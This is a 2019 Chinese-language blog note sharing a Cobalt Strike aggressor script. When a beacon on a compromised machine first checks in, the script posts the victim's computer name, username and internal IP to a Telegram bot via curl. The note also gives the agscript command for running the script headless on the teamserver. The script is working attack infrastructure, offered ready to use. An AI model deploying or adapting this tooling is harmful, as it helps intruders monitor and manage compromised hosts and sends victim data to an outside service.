Cobalt Strike beacon上線通知cna腳本
- 2019 年 10 月 7 日
- 筆記
0x01 前言
Cobalt Strike應該是大家耳熟能詳的工具了,它支援在客戶端添加自定義的cna腳本來擴展功能。
beacon上線後,我們通常想第一時間得知,以前見過msf上線後,tg通知的腳本,於是想找個cs的。
我在github找到了slack的通知腳本slack-notify-beacon.cna,雖然也找到了一個telegram通知的,但是寫的太麻煩,還要調用Python,於是自己改寫了一個telegram-bot通知的。
0x02 腳本
telegram-notify-beacon.cna
# author: dayu # ------------ set these config: ------------ $bot_token = "xxxxxxx"; $chat_id = 'xxxxxxx'; # Write your group_id or user_id $teamserver_hostname = 'HOSTNAME-1'; # You will reveive message containing it # ------------------------------------------- $tg_bot_webhookURL = 'https://api.telegram.org/bot'.$bot_token.'/sendMessage'; $test_message = 'this is a test message, test success'; @curl_command = @('curl', '-X', 'POST', '--data-urlencode', 'chat_id='.$chat_id, '--data-urlencode', 'text='.$test_message, $tg_bot_webhookURL); exec(@curl_command); on beacon_initial { println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid")); local('$internalIP $computerName $userName'); $internalIP = replace(beacon_info($1, "internal"), " ", "_"); $computerName = replace(beacon_info($1, "computer"), " ", "_"); $userName = replace(beacon_info($1, "user"), " ", "_"); $message = 'Message from '.$teamserver_hostname.' Server%0aBeacon success implant Info Target:%0aComputer name : '.$computerName.'%0aUsername : '.$userName.'%0aIpaddres : '.$internalIP; @curl_command = @('curl', '-X', 'POST', '--data-urlencode', 'chat_id='.$chat_id, '--data', 'text='.$message, $tg_bot_webhookURL); exec(@curl_command); }需要客戶端/服務端支援curl、能夠訪問tg的api地址(中國訪問不到)
原理很簡單,beacon_initial 後通過調用os的curl請求webhook,bot的申請教程可以百度,同理可以很簡單的改寫其他webhook,如:釘釘、Server醬等
telegram的bot申請地址:https://telegram.me/botfather
推薦閱讀:
https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=373276
效果圖:

0x03 在teamserver上運行cna腳本
把cna腳本添加到本地客戶端後,如果beacon上線了,這個webhook的通知請求 是從客戶端發出的。
那麼問題來了,如果我要接收通知,是不是就得一直開著客戶端連著teamserver???
這樣就非常不方便了,而且如果網路有波動,斷開了到teamserver的連接,就收不到通知了。
有個解決思路,在teamserver伺服器上也開一個客戶端,直接連到teamserver並添加cna腳本,這樣就可以讓teamserver伺服器發出webhook通知了嘛,而且客戶端也不會因為網路波動斷開。
由於tm伺服器通常是沒有桌面環境的linux系統,不能運行介面化的客戶端。
teamserver可以運行無介面的客戶端專門跑cna腳本,菜雞的我表示長知識了,命令如下
agscript為cs自帶的shell腳本 ./agscript [host] [port] [user] [password] [/path/to/script.cna]
0x04 參考鏈接
https://github.com/michalkoczwara/aggressor_scripts_collection/blob/master/slack-notify-beacon.cna
https://github.com/wahyuhadi/Pentest/blob/0a2544818281f72b409d91766f810abe512585a3/Red%20Team/cobaltsrike-notif-beacon/notif_telegram.cna

CS目標上線郵件提醒
https://blog.csdn.net/qq_27446553/article/details/79380021
參考來源:Dayu's blog&恩山無線論壇&csdn部落格
如有侵權,請聯繫刪除